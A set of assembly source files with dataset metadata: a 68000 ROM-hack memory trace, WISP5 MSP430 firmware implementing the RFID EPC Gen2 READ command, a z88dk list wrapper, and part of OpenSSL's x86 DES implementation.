a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D24 move.l D0, (A4)+ 004D26 move.l D0, (A4)+ 022A94 movea.w ($51a,A5), A0 022A98 move.w ($8,A6), D3 [base+51A] 05030C movea.w ($51a,A5), A1 [enemy+B8] 050310 jsr $55a7e.l [base+51A] 05059E movea.w ($51a,A5), A1 0505A2 movea.w ($a0,A6), A2 [base+51A] 0509C6 movea.w ($51a,A5), A0 0509CA move.w ($10,A0), D0 [base+51A] 050A24 movea.w ($51a,A5), A0 050A28 moveq #$0, D0 [base+51A] 050A98 movea.w ($51a,A5), A0 050A9C move.w ($14,A0), ($14,A4) [base+51A] 050B30 movea.w ($51a,A5), A0 050B34 movea.w ($a0,A6), A1 [base+51A] 055D76 movea.w ($51a,A5), A0 [enemy+1C] 055D7A move.w ($14,A0), D0 [base+51A] 055DD4 movea.w ($51a,A5), A0 [enemy+1C] 055DD8 move.w ($14,A0), D0 [base+51A] 055EBA movea.w ($51a,A5), A1 055EBE move.w ($8,A1), D0 [base+51A] 08BE66 move.w A6, ($51a,A5) 08BE6A moveq #$0, D0 [base+51A] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
62.02381
350
0.65144
1d792df8c9f83a1f3f9e29a81379029014f943b0
21,071
asm
Assembly
src/wisp5-base/CCS/wisp-base/RFID/rfid_ReadHandle.asm
6HJS/Wisecr2019
dd0b25adff92d1193334e0d5a8e3523bfa49c0ba
[ "MIT" ]
null
null
null
src/wisp5-base/CCS/wisp-base/RFID/rfid_ReadHandle.asm
6HJS/Wisecr2019
dd0b25adff92d1193334e0d5a8e3523bfa49c0ba
[ "MIT" ]
null
null
null
src/wisp5-base/CCS/wisp-base/RFID/rfid_ReadHandle.asm
6HJS/Wisecr2019
dd0b25adff92d1193334e0d5a8e3523bfa49c0ba
[ "MIT" ]
null
null
null
;************************************************************************************************************************************/ ;/**@file rfid_ReadHandle.asm ;* @brief Implements the EPC C1Gen2 READ command ;* @details ;* ;* @author Justin Reina, UW Sensor Systems Lab ;* @created 6.8.11 ;* @last rev ;* ;* @notes ;* ;* @section ;* @calling void rfid_ReadHandle (void) ;* ;*/ ;************************************************************************************************************************************/ ; * ; Note: Timing is super tight for full support of EPC Read. Estimates (un-optimized) place theoretical minimum at 75% of * ; before even considering error checking and details. Thus this gets moved to assembly. * ; Notes: See below for detailed timing and procedure. Supports up to 16 word reads * ; * ; Procedure: * ; [1/8] Decode the Fields (memBank, wordPtr, wordCt) (45 cycles) * ; [2/8] Load Read Bytes into the Buffer (193 cycles) * ; [3/8] Decode WordCt (19 cycles) * ; [4/8] Load RN16 (11 cycles) * ; [5/8] Calc/Load CRC16 (549* cycles) * ; [6/8] Shift all bytes, insert status bit. (116 cycles) * ; [7/8] Check if the mem request was valid!! (*0 cycles) * ; [8/8] Sync on end of rx_CRC16, then Transmit! (73 cycles) * ; TOTAL (1006 cycles) * ; * ; Speed: Requires X cycles for 16 words. Consider that until CRC16 is processed we only have ~40% CPU because of RX_SM * ; * ; Optimizations: Code automatically pushes for worst case in order to save cycles for worst case. * ; - always loads 32 bytes into read buffer. this way it doesn't have to wait to parse wordCt! saves ~X cycles * ; * ; Remaining Cycle Analysis: 220 spare cycles to use (see derivation using entry/exit notes through routine). * ; * ; WARNING: As this routine executes concurrently with RX_SM, it is restricted access to R4,R5,R6,R7,R8,R9&R10!! sorry X( * ; *I think we can eliminate R10 use from RX_SM though... * ; * ;************************************************************************************************************************************/ .cdecls C,LIST %{ #include "../globals.h" #include "../Math/crc16.h" #include "rfid.h" %} R_readPtr .set R13 ; ptr to which membank at which offset will be reading from R_handle .set R12 ; store inbound handle for Tx here. R_scratch0 .set R15 R_scratch1 .set R14 .ref cmd .def handleRead .global RxClock, TxClock .sect ".text" ; extern void handleRead (uint8_t handle); handleRead: ;************************************************************************************************************************************* ; [1/8] Decode the Fields (memBank, wordPtr, wordCt) (45 cycles) * ; Entry Timing: somewhere before first three bytes have come in. sync after first three bytes. * ; Exit Timing: 18 cycles into the fourth Rx Byte. * ; /** @todo Show the read command bitfields here */ * ;************************************************************************************************************************************/ ;(put initAddrOfMemBank into R15 by combining memBank&wordPtr. Assume valid combo BECAUSE no combo of memBank/wordPtr/wordCt ; accesses unique data!!) ;Wait for Enough Bits to Come in(2+8+8) (first two bytes come in, then memBank is in cmd[1].b7b6) waitOnBits_0: MOV.W R5, R15 ;[1] CMP.W #16, R15 ;[3] while(bits<18) JLO waitOnBits_0 ;[2] ;Put Proper memBankPtr into ReadPtr. Switch on Membank switchOn_memBank: MOV.B (cmd+1),R15 ;[3] load cmd byte into R15. memBank is in b7b6 (0xC0) AND.B #0xC0, R15 ;[2] mask of non-memBank bits, then switch on it to load corr memBankPtr CLRC ;[] b3 will now be a 0 RLC.B R15 ;[] move out b7 into C RLC.B R15 ;[] move out b6 into C, C into b0 RLC.B R15 ;[] move out b5 into C, C into b0 MOV.B R15, &(RWData.memBank) ;[] move out the memBank Val CMP.B #0x00, R15 ;[1] memBank==0, Reserved memory bank JEQ load_memBank_RESPtr ;[2] CMP.B #0x01, R15 ;[1] memBank==1, EPC memory bank JEQ load_memBank_UIIPtr ;[2] CMP.B #0x02, R15 ;[1] memBank==2, Tag ID (TID) memory bank JEQ load_memBank_TIDPtr ;[2] CMP.B #0x03, R15 ;[1] memBank==3, User memory bank JEQ load_memBank_USRPtr ;[2] load_memBank_RESPtr: MOV.W #(RWData.RESBankPtr), R_readPtr;[2] load the &memBank_RES[0] as the read pointer MOV @R_readPtr, R_readPtr JMP load_memBank_completed ;[2] load_memBank_UIIPtr: MOV.W #(RWData.EPCBankPtr), R_readPtr;[2] load the &memBank_UII[0] as the read pointer MOV @R_readPtr, R_readPtr JMP load_memBank_completed ;[2] load_memBank_TIDPtr: MOV.W #(RWData.TIDBankPtr), R_readPtr;[2] load the &memBank_TID[0] as the read pointer MOV @R_readPtr, R_readPtr JMP load_memBank_completed ;[2] load_memBank_USRPtr: MOV.W #(RWData.USRBankPtr), R_readPtr;[2] load the &memBank_USR[0] as the read pointer MOV @R_readPtr, R_readPtr JMP load_memBank_completed ;[2] load_memBank_completed: ;Now wait for wordPtr to come in, and off R_readPtr by it. R15 is unused, R14 is held. ;Wait for Enough Bits to Come in(2+8+8+8) (first three bytes come in, then wordPtr is in cmd[1].b5-b0 | cmd[2].b7b6 waitOnBits_1: MOV.W R5, R15 ;[1] CMP.W #24, R15 ;[2] while(bits<26) JLO waitOnBits_1 ;[2] offSetByWordPtr: MOV.B (cmd+1), R15 ;[3] bring in top 6 bits into b5-b0 of R15 (wordCt.b7-b2) MOV.B (cmd+2), R14 ;[3] bring in bot 2 bits into b7b6 of R14 (wordCt.b1-b0) RLC.B R14 ;[1] pull out b7 from R14 (wordCt.b1) RLC.B R15 ;[1] shove it into R15 at bottom (wordCt.b1) RLC.B R14 ;[1] pull out b7 from R14 (wordCt.b0) RLC.B R15 ;[1] shove it into R15 at bottom (wordCt.b0) MOV.B R15, R15 ;[1] mask wordPtr to just lower 8 bits RLA R15 ;[1] multiply by two (now is byte addr) ADD.W R15, R_readPtr ;[1] calculate final memBank Pointer!! that took a lot of effort in assembly X(... MOV.W R_readPtr, &(RWData.wordPtr) ;exit: R15 and R14 open for use. R12 restricted. memBankPtr is setup for transfer into rfidBuf. automatically ;************************************************************************************************************************************* ; [2/8] Load Read Bytes into the Buffer (193 cycles) * ; Entry Timing: 40%*600cyc-18cyc --> 222 cycles remaining before end of Rx Byte 4 * ; Exit Timing: 222 cycles-193cyc --> 29 cycles remaining before end of Rx Byte 4 * ;************************************************************************************************************************************/ MOV #rfidBuf, R15 ;[2] load up the initial rfidBuf Addr. then load 32 bytes! MOV.B @R_readPtr+, 0(R15) ;[5] load byte 1 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 2 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 3 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 4 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 5 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 6 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 7 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 8 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 9 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 10 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 11 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 12 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 13 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 14 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 15 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 16 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 17 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 18 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 19 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 20 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 21 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 22 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 23 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 24 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 25 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 26 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 27 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 28 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 29 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 30 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 31 INC R15 ;[1] increment readPtr MOV.B @R_readPtr+, 0(R15) ;[5] load byte 32 ; Why use MOV and increment? Surely this is slower than something like??: ; ; MOV.B 0(R_readPtr), 0(R15) ; MOV.B 1(R_readPtr), 1(R15) ; MOV.B 2(R_readPtr), 2(R15) ; ... ; ; Or even (if alignment is correct): ; ; MOV.W 0(R_readPtr), 0(R15) ; MOV.W 2(R_readPtr), 2(R15) ; MOV.W 4(R_readPtr), 4(R15) ; .... ;exit: R15 and R14 and R_readPtr(R13) open for use. R12 restricted. readBytes are in buffer. ;************************************************************************************************************************************* ; [3/8] Decode WordCt (19 cycles) * ; Entry Timing: 29 cycles remaining before end of Rx Byte 4 * ; Exit Timing: 40%*600cyc-13cyc --> 227 cycles remaining before end of Rx Byte 5 * ;************************************************************************************************************************************/ ;Now wait for wordPtr to come in, and off R_readPtr by it. R15 is unused, R14 is held. ;Wait for Enough Bits to Come in(2+8+8+8+8) (first four bytes come in, then wordPtr is in cmd[2].b5-b0 | cmd[3].b7b6 waitOnBits_2: MOV.W R5, R15 ;[1] CMP.W #32, R15 ;[1] while(bits<34) JLO waitOnBits_2 ;[2] ;Decode WordCt into R15 MOV.B (cmd+2), R15 ;[3] bring in top 6 bits into b5-b0 of R15 (wordCt.b7-b2) MOV.B (cmd+3), R14 ;[3] bring in bot 2 bits into b7b6 of R14 (wordCt.b1-b0) RLC.B R14 ;[1] pull out b7 from R14 (wordCt.b1) RLC.B R15 ;[1] shove it into R15 at bottom (wordCt.b1) RLC.B R14 ;[1] pull out b7 from R14 (wordCt.b0) RLC.B R15 ;[1] shove it into R15 at bottom (wordCt.b0) MOV.B R15, R15 ;[1] mask wordCt to just lower 8 bits PUSHM.A #1, R15 ;[2] keep wordCt for use in Tx ;exit: R15 and R14 and R_readPtr(R13) open for use. R12 restricted. wordCt is stored in R15 and on 0(StackPtr) ;VALIDATING HANDLE GOES HERE U MOFO X( ;************************************************************************************************************************************* ; [4/8] Load RN16 (11 cycles) * ; Entry Timing: 227 cycles remaining before end of Rx Byte 5 * ; Exit Timing: 216 cycles remaining before end of Rx Byte 5 ;************************************************************************************************************************************/ ;handle is in R12. It goes into rfidBuf[2*wordCt] RLA R15 ;[1] Multiply R15(wordCt) by 2 (because of bytes/words...) ADD #rfidBuf, R15 ;[1] Offset ptr into rfidBuf where RN16 goes (i.e. rfidBuf[2*wordCt] MOV (rfid.handle), R12 ;[] MOV.B R12, 1(R15) ;[4] store lower byte first of RN16 SWPB R12 ;[1] move upper byte into lower byte MOV.B R12, 0(R15) ;[4] store upper byte of RN16 ;exit: R15, R14, R12 and R_readPtr(R13) open for use. RN16 was loaded into the buffer. wordCt is still at 0(SP). ;************************************************************************************************************************************* ; [5/8] Calc/Load CRC16 (549 cycles) * ; Entry Timing: 216 cycles remaining before end of Rx Byte 5 * ; Exit Timing: 333 cycles into Rx Byte 6; or actually 147 cycles remaining before end of Rx Byte 7(LAST BYTE) * ;************************************************************************************************************************************/ ;uint16_t crc16_ccitt(uint16_t preload,uint8_t *dataPtr, uint16_t numBytes); MOV #rfidBuf, R13 ;[2] load &rfidBuf[0] as dataPtr POPM.A #1, R15 ;[2] MOV R15, R14 ;[1] extract wordCt into R14, then push it back PUSHM.A #1, R15 ;[3] RLA R14 ;[1] mult wordCt*2 ADD #2, R14 ;[1] add 2 to wordCt cause of RN16 (now R14 is msg_size in bytes) MOV #ZERO_BIT_CRC, R12 ;[1] load preload to crc16_ccitt(give it the equivalent preload for just the '0' status bit) CALLA #crc16_ccitt ;[5+524] ;onReturn: R12 holds the CRC16 value. ;STORE CRC16(10?) MOV.B R12, 1(R_readPtr) ;[4] store lower CRC byte first SWPB R12 ;[1] move upper byte into lower byte MOV.B R12, 0(R_readPtr) ;[4] store upper CRC byte ;************************************************************************************************************************************* ; [6/8] Shift all bytes, insert status bit. (116 cycles) * ; Note: Recall we shift everything, considering worst-case timing (this is actually faster than doing a loop) * ; Entry Timing: 147 cycles remaining before end of Rx Byte 7 * ; Exit Timing: 31 cycles remaining before end of Rx Byte 7 * ;************************************************************************************************************************************/ MOV #rfidBuf, R15 ;[2] set R15 to point to beginning of buff for shifting. CLRC ;[1] reset the clear bit for insertion as status bit RRC.B @R15+ ;[3] rotate rfidBuf[0] rotate Carry[n=0] into b7. shove b0 into Carry[n=1] RRC.B @R15+ ;[3] rotate rfidBuf[1] ... RRC.B @R15+ ;[3] rotate rfidBuf[2] RRC.B @R15+ ;[3] rotate rfidBuf[3] RRC.B @R15+ ;[3] rotate rfidBuf[4] RRC.B @R15+ ;[3] rotate rfidBuf[5] RRC.B @R15+ ;[3] rotate rfidBuf[6] RRC.B @R15+ ;[3] rotate rfidBuf[7] RRC.B @R15+ ;[3] rotate rfidBuf[8] RRC.B @R15+ ;[3] rotate rfidBuf[9] RRC.B @R15+ ;[3] rotate rfidBuf[10] RRC.B @R15+ ;[3] rotate rfidBuf[11] RRC.B @R15+ ;[3] rotate rfidBuf[12] RRC.B @R15+ ;[3] rotate rfidBuf[13] RRC.B @R15+ ;[3] rotate rfidBuf[14] RRC.B @R15+ ;[3] rotate rfidBuf[15] RRC.B @R15+ ;[3] rotate rfidBuf[16] RRC.B @R15+ ;[3] rotate rfidBuf[17] RRC.B @R15+ ;[3] rotate rfidBuf[18] RRC.B @R15+ ;[3] rotate rfidBuf[19] RRC.B @R15+ ;[3] rotate rfidBuf[20] RRC.B @R15+ ;[3] rotate rfidBuf[21] RRC.B @R15+ ;[3] rotate rfidBuf[22] RRC.B @R15+ ;[3] rotate rfidBuf[23] RRC.B @R15+ ;[3] rotate rfidBuf[24] RRC.B @R15+ ;[3] rotate rfidBuf[25] RRC.B @R15+ ;[3] rotate rfidBuf[26] RRC.B @R15+ ;[3] rotate rfidBuf[27] RRC.B @R15+ ;[3] rotate rfidBuf[28] RRC.B @R15+ ;[3] rotate rfidBuf[29] RRC.B @R15+ ;[3] rotate rfidBuf[30] RRC.B @R15+ ;[3] rotate rfidBuf[31] ;Rotate the RN16 Field RRC.B @R15+ ;[3] rotate rfidBuf[32] b15-b9 of RN16 into rfidBuf[32].b6-b0 RRC.B @R15+ ;[3] rotate rfidBuf[33] b8-b1 of RN16 into rfidBuf[33].b7-b0 RRC.B @R15+ ;[3] rotate rfidBuf[34] b0 of RN16 into rfidBuf[34].b7 ;Rotate the CRC16 Field RRC.B @R15+ ;[3] rotate rfidBuf[35] b15-b9 of CRC16 into rfidBuf[32].b6-b0 RRC.B @R15+ ;[3] rotate rfidBuf[36] b8-b1 of CRC16 into rfidBuf[33].b7-b0 RRC.B @R15+ ;[3] rotate rfidBuf[37] b0 of CRC16 into rfidBuf[34].b7 ;************************************************************************************************************************************* ; [7/8] Check if the mem request was valid!! (0 cycles) * ;************************************************************************************************************************************/ ;only come back and do this if we find we have extra cycles to spare... ;************************************************************************************************************************************* ; [7a/8] Check if handle matched. ;************************************************************************************************************************************/ waitOnBits_2a: MOV.W R5, R15 ;[1] CMP.W #48, R15 ;[1] while(bits<48) JLO waitOnBits_2a ;[2] MOV.B (cmd+3), R_scratch0 SWPB R_scratch0 MOV.B (cmd+4), R_scratch1 BIS.W R_scratch1, R_scratch0 ;cmd[3] into MSByte, cmd[4] into LSByte of Rs0 MOV.B (cmd+5), R_scratch1 ;Shove bottom 2 bits from Rs1 INTO Rs0 RLC.B R_scratch1 RLC R_scratch0 RLC.B R_scratch1 RLC R_scratch0 ;Check if Handle Matched CMP R_scratch0, &rfid.handle JNE readHandle_Ignore ;************************************************************************************************************************************* ; [2/8] Sync on end of rx_CRC16, then Transmit! (73 cycles) * ; Entry Timing: 31 cycles remaining before end of Rx Byte 7 * ; Exit Timing: 31 cycles remaining before end of Rx Byte 7 * ; Spare Timing: 31 + 2lastBits*6.25us*12cyc/bit*40%RX_SM_loading = 91 before 16.125us T1 window begins * ; then, 16.125*12-64cycToPrepTxFM0 = 129 cycles in the T1 window for use * ; Net Spare: 91+129 = 220 cycles (10us) * ;************************************************************************************************************************************/ ;Wait for All Bits to Come in(2+8+2+8+8+16+16) all of it! waitOnBits_3: MOV.W R5, R15 ;[1] CMP.W #58, R15 ;[1] while(bits<60) JLO waitOnBits_3 ;[2] haltRxSM_inReadHandle: DINT ;[2] NOP CLR &TA0CTL ;[4] ;TRANSMIT DELAY FOR TIMING MOV #TX_TIMING_READ, R15 ;[1] timing_delay_for_Read: DEC R15 ;[1] while((X--)>0); CMP #0XFFFF, R15 ;[1] 'when X underflows' JNE timing_delay_for_Read ;[2] ;TRANSMIT (16pre,38tillTxinTxFM0 -> 54cycles) MOV #rfidBuf, R12 ;[2] load the &rfidBuf[0] POPM.A #1, R15 ;[2] recall value of wordCt from stack RLA R15 ;[1] byteCt=wordCt<<1 ADD #4, R15 ;[1] add extra 4 bytes for remainingPacket(RN16,CRC16) MOV R15, R13 ;[1] load into corr reg (numBytes) MOV #1, R14 ;[1] load numBits=1 MOV.B rfid.TRext, R15 ;[3] load TRext CALLA #TxFM0 ;[5] call the routine ;TxFM0(volatile uint8_t *data,uint8_t numBytes,uint8_t numBits,uint8_t TRext); ;exit: state stays as Open! ;Done with the read! readHandle_exit: ;/** @todo Should we do this now, or at the top of keepDoingRFID? */ ;MOV &(INFO_ADDR_RXUCS0), &UCSCTL0 ;[] switch to corr Rx Frequency ;MOV &(INFO_ADDR_RXUCS1), &UCSCTL1 ;[] "" CALLA #RxClock ;Switch to RxClock ;Call user hook function if it's configured (if it's non-NULL) CMP.B #(0), &(RWData.rdHook) ;[] JEQ readHandle_SkipHookCall ;[] MOV &(RWData.rdHook), R_scratch0 ;[] CALLA R_scratch0 ;[] readHandle_SkipHookCall: ;Modify Abort Flag if necessary (i.e. if in std_mode BIT.B #(CMD_ID_READ), (rfid.abortOn);[] Should we abort on READ? JNZ readHandle_breakOutofRFID ;[] RETA ;[] else return w/o setting flag ; If configured to abort on successful READ, set abort flag cause it just happened! readHandle_breakOutofRFID: BIS.B #1, (rfid.abortFlag);[] by setting this bit we'll abort correctly! RETA readHandle_Ignore: DINT ;[2] NOP CLR &TA0CTL ;[4] POPM.A #1, R15 ;[] clean off the top word ;MOV &(INFO_ADDR_RXUCS0), &UCSCTL0 ;[] switch to corr Rx Frequency ;MOV &(INFO_ADDR_RXUCS1), &UCSCTL1 ;[] "" CALLA #RxClock ;Switch to RxClock RETA .end
45.707158
134
0.531963
b30f97da49b8e1b0c21e554d6a437d487a1670dd
250
asm
Assembly
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *p_forward_list_front_fastcall(p_forward_list_t *list) SECTION code_clib SECTION code_adt_p_forward_list PUBLIC _p_forward_list_front_fastcall EXTERN asm_p_forward_list_front defc _p_forward_list_front_fastcall = asm_p_forward_list_front
20.833333
62
0.892
01a531a93a92690857130c87b48891103a5333bf
36,727
asm
Assembly
crypto/des/des-586.asm
commshare/openssl-1.1.1k
2306cb3f4a92854004f8e0d1494faf6b96833bd2
[ "OpenSSL" ]
null
null
null
crypto/des/des-586.asm
commshare/openssl-1.1.1k
2306cb3f4a92854004f8e0d1494faf6b96833bd2
[ "OpenSSL" ]
null
null
null
crypto/des/des-586.asm
commshare/openssl-1.1.1k
2306cb3f4a92854004f8e0d1494faf6b96833bd2
[ "OpenSSL" ]
null
null
null
%ifidn __OUTPUT_FORMAT__,obj section code use32 class=code align=64 %elifidn __OUTPUT_FORMAT__,win32 $@feat.00 equ 1 section .text code align=64 %else section .text code %endif global _DES_SPtrans align 16 __x86_DES_encrypt: push ecx ; Round 0 mov eax,DWORD [ecx] xor ebx,ebx mov edx,DWORD [4+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 1 mov eax,DWORD [8+ecx] xor ebx,ebx mov edx,DWORD [12+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 2 mov eax,DWORD [16+ecx] xor ebx,ebx mov edx,DWORD [20+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 3 mov eax,DWORD [24+ecx] xor ebx,ebx mov edx,DWORD [28+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 4 mov eax,DWORD [32+ecx] xor ebx,ebx mov edx,DWORD [36+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 5 mov eax,DWORD [40+ecx] xor ebx,ebx mov edx,DWORD [44+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 6 mov eax,DWORD [48+ecx] xor ebx,ebx mov edx,DWORD [52+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor 